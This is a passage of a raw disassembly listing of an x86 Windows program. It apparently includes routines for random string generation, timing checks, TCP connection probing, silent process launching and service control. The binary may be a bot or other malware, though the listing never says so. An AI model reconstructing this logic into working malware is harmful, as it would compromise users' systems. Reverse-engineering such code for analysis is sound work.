cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41B737
mov [esi+ebp-1], bl
jmp short loc_41B739
; ---------------------------------------------------------------------------
loc_41B737: ; CODE XREF: sub_41B6E0+4Fj
mov [edi], bl
loc_41B739: ; CODE XREF: sub_41B6E0+55j
mov byte ptr [esp+10h+arg_4], bl
loc_41B73D: ; CODE XREF: sub_41B6E0+48j
mov edx, [esp+10h+arg_8]
inc esi
inc edi
lea eax, [edx-1]
cmp esi, eax
jl short loc_41B6FF
loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj
; sub_41B6E0+21j ...
mov eax, [esp+10h+arg_8]
pop edi
pop esi
mov [eax+ebp-1], bl
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B759: ; CODE XREF: sub_41B6E0+3Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
sub_41B6E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B780: ; CODE XREF: ___:00401ADCj
push ebx
mov ebx, [esp+8]
push ebp
mov ebp, [esp+10h]
mov ecx, ebp
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd
mov ecx, edx
xor esi, esi
and ecx, 3
test ebp, ebp
rep stosb
jle short loc_41B7DB
loc_41B7A6: ; CODE XREF: ___:0041B7D9j
push 3
push 1
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
dec eax
jz short loc_41B7C7
dec eax
jz short loc_41B7C1
dec eax
jnz short loc_41B7D6
push 7Ah
push 61h
jmp short loc_41B7CB
; ---------------------------------------------------------------------------
loc_41B7C1: ; CODE XREF: ___:0041B7B6j
push 5Ah
push 41h
jmp short loc_41B7CB
; ---------------------------------------------------------------------------
loc_41B7C7: ; CODE XREF: ___:0041B7B3j
push 39h
push 30h
loc_41B7CB: ; CODE XREF: ___:0041B7BFj
; ___:0041B7C5j
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esi+ebx], al
loc_41B7D6: ; CODE XREF: ___:0041B7B9j
inc esi
cmp esi, ebp
jl short loc_41B7A6
loc_41B7DB: ; CODE XREF: ___:0041B7A4j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B800 proc near ; CODE XREF: sub_40141Aj
rdtsc
retn
sub_41B800 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B820 proc near ; CODE XREF: sub_4017F3j
var_4 = dword ptr -4
sub esp, 8
push ebx
mov ebx, dword_50F8D0
push ebp
push esi
push edi
xor ebp, ebp
loc_41B82F: ; CODE XREF: sub_41B820+43j
; sub_41B820+4Dj
call sub_40141A
push 3E8h
mov esi, eax
mov edi, edx
call ebx ; dword_50F8D0
call sub_40141A
sub eax, esi
push ebp
sbb edx, edi
push 186A0h
push edx
push eax
call sub_436970
push ebp
push 0Ah
push edx
push eax
call sub_436970
cmp edx, ebp
mov esi, eax
ja short loc_41B82F
jb short loc_41B86F
cmp esi, 0F4240h
ja short loc_41B82F
loc_41B86F: ; CODE XREF: sub_41B820+45j
push ebp
push 64h
push edx
push esi
call sub_4368F0
mov ecx, eax
cmp edx, ebp
mov eax, 64h
mov [esp+18h+var_4], ebp
ja short loc_41B8F9
jb short loc_41B88F
cmp ecx, 50h
jnb short loc_41B898
loc_41B88F: ; CODE XREF: sub_41B820+68j
mov eax, 4Bh
mov [esp+18h+var_4], ebp
loc_41B898: ; CODE XREF: sub_41B820+6Dj
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8A3
cmp ecx, 47h
jnb short loc_41B8AC
loc_41B8A3: ; CODE XREF: sub_41B820+7Cj
mov eax, 42h
mov [esp+18h+var_4], ebp
loc_41B8AC: ; CODE XREF: sub_41B820+81j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8B7
cmp ecx, 37h
jnb short loc_41B8C0
loc_41B8B7: ; CODE XREF: sub_41B820+90j
mov eax, 32h
mov [esp+18h+var_4], ebp
loc_41B8C0: ; CODE XREF: sub_41B820+95j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8CB
cmp ecx, 26h
jnb short loc_41B8D4
loc_41B8CB: ; CODE XREF: sub_41B820+A4j
mov eax, 21h
mov [esp+18h+var_4], ebp
loc_41B8D4: ; CODE XREF: sub_41B820+A9j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8DF
cmp ecx, 1Eh
jnb short loc_41B8E8
loc_41B8DF: ; CODE XREF: sub_41B820+B8j
mov eax, 19h
mov [esp+18h+var_4], ebp
loc_41B8E8: ; CODE XREF: sub_41B820+BDj
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8F3
cmp ecx, 0Ah
jnb short loc_41B8F9
loc_41B8F3: ; CODE XREF: sub_41B820+CCj
xor eax, eax
mov [esp+18h+var_4], ebp
loc_41B8F9: ; CODE XREF: sub_41B820+66j
; sub_41B820+7Aj ...
sub eax, ecx
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_41B820 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B950 proc near ; CODE XREF: sub_402022j
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41B950
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
mov al, byte_447759
push ebx
push esi
push edi
test al, al
mov [esp+4Ch+var_40], 0
jz loc_41BAAF
push ebp
lea ecx, [esp+50h+var_3C]
call sub_401424
push 400h
lea ecx, [esp+54h+var_3C]
mov [esp+54h+var_4], 1
xor bl, bl
call sub_401C5D
mov ebp, eax
call sub_401EEC
lea ecx, [esp+50h+var_3C]
call sub_4013D9
mov [esp+50h+arg_4], eax
lea eax, [esp+50h+arg_4]
push eax
push ebp
call near ptr 2811186h
nop
test eax, eax
jnz short loc_41B9E6
mov edi, offset byte_446F60
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_41B9E6: ; CODE XREF: sub_41B950+74j
movsx ecx, byte ptr [ebp+0]
mov eax, 41h
loc_41B9EF: ; CODE XREF: sub_41B950+A9j
cmp ecx, eax
jnz short loc_41B9F5
mov bl, 1
loc_41B9F5: ; CODE XREF: sub_41B950+A1j
inc eax
cmp eax, 5Bh
jl short loc_41B9EF
mov eax, 61h
loc_41BA00: ; CODE XREF: sub_41B950+BAj
cmp ecx, eax
jnz short loc_41BA06
mov bl, 1
loc_41BA06: ; CODE XREF: sub_41B950+B2j
inc eax
cmp eax, 7Bh
jl short loc_41BA00
test bl, bl
jnz short loc_41BA32
mov edi, offset byte_446F60
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_41BA32: ; CODE XREF: sub_41B950+BEj
mov esi, dword_50FABC
call esi ; dword_50FABC
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; dword_50FABC
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; dword_50FABC
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_3C]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+50h+var_40], 1
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_41BAAF: ; CODE XREF: sub_41B950+2Aj
lea ecx, [esp+4Ch+var_24]
call sub_401424
mov ebx, 2
mov [esp+4Ch+var_4], ebx
nop
call near ptr 27F06FDh
push eax
call near ptr 77C371BCh
nop
mov edi, dword_50FABC
add esp, 4
call edi ; dword_50FABC
cdq
mov ecx, 3
idiv ecx
lea ecx, [esp+4Ch+var_24]
mov esi, edx
mov edx, [esp+4Ch+arg_4]
push edx
add esi, 6
call sub_4015D7
test esi, esi
jle short loc_41BB4E
loc_41BAF8: ; CODE XREF: sub_41B950+1FCj
lea ecx, [esp+4Ch+var_3C]
call sub_401424
lea eax, [esp+4Ch+var_24]
lea ecx, [esp+4Ch+var_3C]
push eax
mov byte ptr [esp+50h+var_4], 3
call sub_401FBE
call edi ; dword_50FABC
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+4Ch+var_3C]
add edx, 61h
push edx
call sub_4017E4
push eax
lea edx, [esp+54h+var_24]
push offset dword_443E74
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], bl
call sub_401226
dec esi
jnz short loc_41BAF8
loc_41BB4E: ; CODE XREF: sub_41B950+1A6j
mov esi, [esp+4Ch+arg_0]
lea eax, [esp+4Ch+var_24]
push eax
mov ecx, esi
call sub_4014C9
lea ecx, [esp+4Ch+var_24]
mov [esp+4Ch+var_40], 1
mov byte ptr [esp+4Ch+var_4], 0
call sub_401226
mov ecx, [esp+4Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 40h
retn
sub_41B950 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BC20: ; CODE XREF: ___:00401569j
mov al, [esp+4]
cmp al, 20h
jz short loc_41BC2F
cmp al, 9
jz short loc_41BC2F
xor al, al
retn
; ---------------------------------------------------------------------------
loc_41BC2F: ; CODE XREF: ___:0041BC26j
; ___:0041BC2Aj
mov al, 1
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: ___:00401ED8j
mov eax, [esp+4]
push offset dword_443E7C
push eax
nop
call near ptr 77C3F010h
add esp, 8
test eax, eax
jz short loc_41BC74
push eax
nop
call near ptr 77C40AB1h
add esp, 4
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_41BC74: ; CODE XREF: ___:0041BC65j
xor al, al
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BC90 proc near ; CODE XREF: sub_401479j
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = byte ptr -20h
arg_0 = dword ptr 4
sub esp, 30h
push ebx
push ebp
push esi
push edi
mov edi, [esp+40h+arg_0]
test edi, edi
jz loc_41BEEE
mov esi, offset byte_446F60
mov eax, edi
loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BCD2
test cl, cl
jz short loc_41BCCE
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BCD2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BCAA
loc_41BCCE: ; CODE XREF: sub_41BC90+26j
xor eax, eax
jmp short loc_41BCD7
; ---------------------------------------------------------------------------
loc_41BCD2: ; CODE XREF: sub_41BC90+22j
; sub_41BC90+32j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BCD7: ; CODE XREF: sub_41BC90+40j
test eax, eax
jz loc_41BEEE
push 20h
lea eax, [esp+44h+var_20]
push edi
push eax
nop
call near ptr 77C47A90h
mov edi, dword_50FAF4
lea ecx, [esp+4Ch+var_20]
push offset dword_443DC4
push ecx
call edi ; dword_50FAF4
add esp, 14h
mov [esp+40h+var_30], eax
test eax, eax
jz loc_41BEEE
mov ebx, 1
lea esi, [esp+40h+var_2C]
loc_41BD17: ; CODE XREF: sub_41BC90+A4j
push offset dword_443DC4
push 0
call edi ; dword_50FAF4
add esp, 8
mov [esi], eax
test eax, eax
jz loc_41BEEE
inc ebx
add esi, 4
cmp ebx, 4
jl short loc_41BD17
mov ebp, [esp+40h+var_30]
mov esi, offset dword_443E98
mov eax, ebp
loc_41BD41: ; CODE XREF: sub_41BC90+D3j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BD69
test dl, dl
jz short loc_41BD65
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BD69
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BD41
loc_41BD65: ; CODE XREF: sub_41BC90+BDj
xor eax, eax
jmp short loc_41BD6E
; ---------------------------------------------------------------------------
loc_41BD69: ; CODE XREF: sub_41BC90+B9j
; sub_41BC90+C9j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BD6E: ; CODE XREF: sub_41BC90+D7j
test eax, eax
jnz short loc_41BD7C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BD7C: ; CODE XREF: sub_41BC90+E0j
mov esi, offset dword_443E94
mov eax, ebp
loc_41BD83: ; CODE XREF: sub_41BC90+115j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BDAB
test dl, dl
jz short loc_41BDA7
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BDAB
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BD83
loc_41BDA7: ; CODE XREF: sub_41BC90+FFj
xor eax, eax
jmp short loc_41BDB0
; ---------------------------------------------------------------------------
loc_41BDAB: ; CODE XREF: sub_41BC90+FBj
; sub_41BC90+10Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BDB0: ; CODE XREF: sub_41BC90+119j
mov edi, [esp+40h+var_2C]
test eax, eax
jnz short loc_41BDFA
mov esi, offset dword_443E90
mov edx, edi
loc_41BDBF: ; CODE XREF: sub_41BC90+151j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BDE7
test bl, bl
jz short loc_41BDE3
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BDE7
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BDBF
loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj
xor edx, edx
jmp short loc_41BDEC
; ---------------------------------------------------------------------------
loc_41BDE7: ; CODE XREF: sub_41BC90+137j
; sub_41BC90+147j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BDEC: ; CODE XREF: sub_41BC90+155j
test edx, edx
jnz short loc_41BDFA
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BDFA: ; CODE XREF: sub_41BC90+126j
; sub_41BC90+15Ej
mov esi, offset dword_443E8C
mov edx, ebp
loc_41BE01: ; CODE XREF: sub_41BC90+193j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BE29
test bl, bl
jz short loc_41BE25
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BE29
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BE01
loc_41BE25: ; CODE XREF: sub_41BC90+17Dj
xor edx, edx
jmp short loc_41BE2E
; ---------------------------------------------------------------------------
loc_41BE29: ; CODE XREF: sub_41BC90+179j
; sub_41BC90+189j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BE2E: ; CODE XREF: sub_41BC90+197j
test edx, edx
jnz short loc_41BE74
mov esi, offset dword_443E88
mov edx, edi
loc_41BE39: ; CODE XREF: sub_41BC90+1CBj
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BE61
test bl, bl
jz short loc_41BE5D
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BE61
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BE39
loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j
xor edx, edx
jmp short loc_41BE66
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BC90+1B1j
; sub_41BC90+1C1j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BE66: ; CODE XREF: sub_41BC90+1CFj
test edx, edx
jnz short loc_41BE74
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BE74: ; CODE XREF: sub_41BC90+1A0j
; sub_41BC90+1D8j
mov esi, offset dword_443E84
mov ecx, ebp
loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj
mov al, [ecx]
mov bl, [esi]
mov dl, al
cmp al, bl
jnz short loc_41BEA3
test dl, dl
jz short loc_41BE9F
mov al, [ecx+1]
mov bl, [esi+1]
mov dl, al
cmp al, bl
jnz short loc_41BEA3
add ecx, 2
add esi, 2
test dl, dl
jnz short loc_41BE7B
loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j
xor ecx, ecx
jmp short loc_41BEA8
; ---------------------------------------------------------------------------
loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j
; sub_41BC90+203j
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
loc_41BEA8: ; CODE XREF: sub_41BC90+211j
test ecx, ecx
jnz short loc_41BEEE
mov esi, offset dword_443E80
mov eax, edi
loc_41BEB3: ; CODE XREF: sub_41BC90+245j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BEDB
test cl, cl
jz short loc_41BED7
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BEDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BEB3
loc_41BED7: ; CODE XREF: sub_41BC90+22Fj
xor eax, eax
jmp short loc_41BEE0
; ---------------------------------------------------------------------------
loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj
; sub_41BC90+23Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BEE0: ; CODE XREF: sub_41BC90+249j
test eax, eax
jnz short loc_41BEEE
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BEEE: ; CODE XREF: sub_41BC90+Dj
; sub_41BC90+49j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 30h
retn
sub_41BC90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BFA0 proc near ; CODE XREF: sub_402004j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
push esi
push 6
push 1
push 2
xor bl, bl
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41C008
cmp esi, 0FFFFFFFFh
jz short loc_41C008
mov eax, [esp+18h+arg_0]
push eax
nop
call near ptr 71AB2BF4h
mov ecx, [esp+18h+arg_4]
mov [esp+18h+var_C], eax
push ecx
call near ptr 71AB2B66h
nop
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
mov [esp+24h+var_E], ax
mov [esp+24h+var_10], 2
nop
call near ptr 71AB406Ah
test eax, eax
jnz short loc_41BFF9
mov bl, 1
loc_41BFF9: ; CODE XREF: sub_41BFA0+55j
push esi
nop
call near ptr 71AB9639h
mov al, bl
pop esi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41C008: ; CODE XREF: sub_41BFA0+18j
; sub_41BFA0+1Dj
pop esi
xor al, al
pop ebx
add esp, 10h
retn
sub_41BFA0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C030 proc near ; CODE XREF: sub_401299j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push 0
push eax
push ecx
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
cmp eax, 20h
setnl al
retn
sub_41C030 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_402149j
var_54 = byte ptr -54h
var_44 = dword ptr -44h
var_14 = word ptr -14h
arg_0 = dword ptr 4
sub esp, 54h
push edi
mov ecx, 11h
xor eax, eax
lea edi, [esp+58h+var_44]
rep stosd
mov [esp+58h+var_14], ax
lea eax, [esp+58h+var_54]
mov edx, [esp+58h+arg_0]
lea ecx, [esp+58h+var_44]
push eax
push ecx
push 0
push 0
push 28h
push 0
push 0
push 0
push edx
push 0
mov [esp+80h+var_44], 44h
nop
call near ptr 2800000h
test eax, eax
setnle al
pop edi
add esp, 54h
retn
sub_41C070 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C0E0: ; CODE XREF: ___:00401875j
sub esp, 354h
mov eax, off_443EA4
mov ecx, dword_443EA8
mov [esp+0], eax
mov al, byte_446F60
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_443EAC
rep stosd
mov ecx, off_443E9C
mov [esp+10h], edx
mov dx, word_443EA0
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
xor edi, edi
push eax
push 0FFFFFFFFh
push ecx
push edi
push edi
nop
call near ptr 27B0000h
mov esi, dword_50FAAC
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; dword_50FAAC
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; dword_50FAAC
mov esi, [esp+374h]
add esp, 10h
lea eax, [esp+12Ch]
push edi
push offset dword_50BB7C
push offset dword_50BB7C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call sub_436FA8
; ---------------------------------------------------------------------------
cmp eax, 5
jz short loc_41C1C8
cmp eax, 4C3h
jnz short loc_41C1D1
loc_41C1C8: ; CODE XREF: ___:0041C1BFj
push edi
push edi
push edi
push esi
call sub_436FA8
; ---------------------------------------------------------------------------
loc_41C1D1: ; CODE XREF: ___:0041C1C6j
pop edi
cmp eax, 5
pop esi
jz short loc_41C1E8
cmp eax, 4C3h
jz short loc_41C1E8
mov al, 1
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_41C1E8: ; CODE XREF: ___:0041C1D6j
; ___:0041C1DDj
xor al, al
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C250: ; CODE XREF: ___:00401EC9j
sub esp, 354h
mov eax, off_443EA4
mov ecx, dword_443EA8
mov [esp+0], eax
mov al, byte_446F60
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_443EAC
rep stosd
mov ecx, off_443E9C
mov [esp+10h], edx
mov dx, word_443EA0
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
push eax
push 0FFFFFFFFh
push ecx
push 0
push 0
nop
call near ptr 27B0000h
mov esi, dword_50FAAC
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; dword_50FAAC
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; dword_50FAAC
add esp, 10h
lea eax, [esp+12Ch]
push 0
push 0
push eax
call sub_436FAE
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_41C338
mov esi, dword_50F8D0
loc_41C31C: ; CODE XREF: ___:0041C336j
push 7D0h
call esi ; dword_50F8D0
push 0
lea ecx, [esp+130h]
push 0
push ecx
call sub_436FAE
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41C31C
loc_41C338: ; CODE XREF: ___:0041C314j
pop edi
mov al, 1
pop esi
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C390 proc near ; CODE XREF: sub_401D7Fj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C390
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
lea eax, [esp+5Ch+var_3C]
push 6
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
or edi, 0FFFFFFFFh
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
lea edx, [esp+60h+var_3C]
push 6
push edx
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+48h+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+118h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 10h
push 15h
push 4Fh
push 10h
push 14h
lea ecx, [esp+5Ch+var_3C]
push 6
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 2
call sub_4017E4
lea edx, [esi+0EAh]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 7
push 4
push 0Ch
push 10h
push 0Ah
push 4Fh
push 10h
push 14h
push 14h
lea eax, [esp+6Ch+var_3C]
push 8
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 3
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
push 14h
lea edx, [esp+64h+var_3C]
push 8
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+48h+var_4], 4
call sub_4017E4
push eax
lea eax, [esi+60h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], edi
call sub_401226
push 0
push 5
push 4
push 43h
push 10h
push 0Ah
push 4Fh
push 10h
push 14h
push 14h
lea ecx, [esp+6Ch+var_24]
push 8
push ecx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov [esp+48h+var_4], 5
call sub_4017E4
add esi, 32h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_4], edi
call sub_401226
mov ecx, [esp+44h+var_C]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
sub_41C390 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C610 proc near ; CODE XREF: sub_401064j
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_F4 = byte ptr -0F4h
var_DC = byte ptr -0DCh
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_94 = byte ptr -94h
var_7C = byte ptr -7Ch
var_67 = byte ptr -67h
var_52 = byte ptr -52h
var_3D = byte ptr -3Dh
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41C610
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 108h
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+124h+var_10C]
call sub_401424
lea ecx, [esp+124h+var_DC]
mov [esp+124h+var_4], 0
call sub_401424
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401424
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401424
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401424
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401B36
mov esi, [esp+124h+arg_0]
mov bl, 5
lea ecx, [ebp+8Eh]
mov byte ptr [esp+124h+var_4], bl
lea edi, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
lea ecx, [ebp+4]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_41C83C
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
